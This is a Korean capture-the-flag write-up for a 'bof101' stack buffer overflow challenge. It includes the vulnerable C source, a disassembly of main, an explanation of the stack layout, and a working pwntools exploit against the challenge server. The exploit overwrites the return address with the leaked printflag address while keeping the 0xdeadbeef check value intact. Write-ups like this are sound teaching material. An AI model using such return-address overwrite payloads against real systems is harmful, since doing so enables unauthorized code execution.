#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
void printflag(){
char buf[32];
int fd = open("/flag", O_RDONLY);
read(fd, buf, sizeof(buf));
close(fd);
puts(buf);
}
int main() {
int check=0xdeadbeef;
char name[140];
printf("printflag()'s addr: %p\n", &printflag);
printf("What is your name?\n: ");
scanf("%s", name);
if (check != 0xdeadbeef){
printf("[Warning!] BOF detected!\n");
exit(0);
}
return 0;
}
0x000000000040124a <+0>: endbr64
0x000000000040124e <+4>: push rbp
0x000000000040124f <+5>: mov rbp,rsp
0x0000000000401252 <+8>: sub rsp,0x90
0x0000000000401259 <+15>: mov DWORD PTR [rbp-0x4],0xdeadbeef
0x0000000000401260 <+22>: lea rsi,[rip+0xffffffffffffff8f] # 0x4011f6 <printflag>
0x0000000000401267 <+29>: lea rdi,[rip+0xd9c] # 0x40200a
0x000000000040126e <+36>: mov eax,0x0
0x0000000000401273 <+41>: call 0x4010b0 <printf@plt>
0x0000000000401278 <+46>: lea rdi,[rip+0xda3] # 0x402022
0x000000000040127f <+53>: mov eax,0x0
0x0000000000401284 <+58>: call 0x4010b0 <printf@plt>
0x0000000000401289 <+63>: lea rax,[rbp-0x90]
0x0000000000401290 <+70>: mov rsi,rax
0x0000000000401293 <+73>: lea rdi,[rip+0xd9e] # 0x402038
0x000000000040129a <+80>: mov eax,0x0
0x000000000040129f <+85>: call 0x4010f0 <__isoc99_scanf@plt>
0x00000000004012a4 <+90>: cmp DWORD PTR [rbp-0x4],0xdeadbeef
0x00000000004012ab <+97>: je 0x4012c3 <main+121>
0x00000000004012ad <+99>: lea rdi,[rip+0xd87] # 0x40203b
0x00000000004012b4 <+106>: call 0x4010a0 <puts@plt>
0x00000000004012b9 <+111>: mov edi,0x0
0x00000000004012be <+116>: call 0x401100 <exit@plt>
0x00000000004012c3 <+121>: mov eax,0x0
0x00000000004012c8 <+126>: leave
0x00000000004012c9 <+127>: ret
scanf(”%s”)
로 name에 입력 받는 부분에서 bof가 일어날 것 같다. 어셈을 보고 스택을 그려 보면 다음과 같다.
플래그를 출력해 주는 printflag
함수를 ret에 넣어 주면 된다. 중간에 check 변수가 바뀌는지 확인하므로 0xdeadbeef
만 중간에 잘 넣어 주면 될 것 같다.
따라서 name은 쓰레기 값으로, check는 0xdeadbeef
, SFP도 쓰레기 값으로, 마지막으로 RET을 printflag
함수의 주소로 채우면 된다.
이를 그대로 코드로 짜면 다음과 같다.
from pwn import *
p = remote("bof101.sstf.site", 1337)
#gdb.attach(p)
payload = b"A" * 140
payload += b"\xef\xbe\xad\xde"
payload += b"A" * 0x8
p.recvuntil(b": ")
printflag = int(p.recvn(8), 16)
print("printflag: " + str(hex(printflag)))
payload += p64(printflag)
print("payload: " + str(payload))
p.sendline(payload)
p.interactive()
실행 중에 printflag
함수의 주소를 출력해 주므로, 주소만큼 받아서 넣어 주었다.
중간에 분명 논리도 맞고 페이로드도 맞는데 왜 자꾸 틀리나… 많이 삽질했는데
바보같이 0xdeadbeef
에 p64를 씌워서 넣고 있었다…
그래서 \xef\xbe\xad\xde\x00\x00\x00\x00 이렇게 들어가면서 RET에 이상한 값이 들어가고 있었다!!!
아오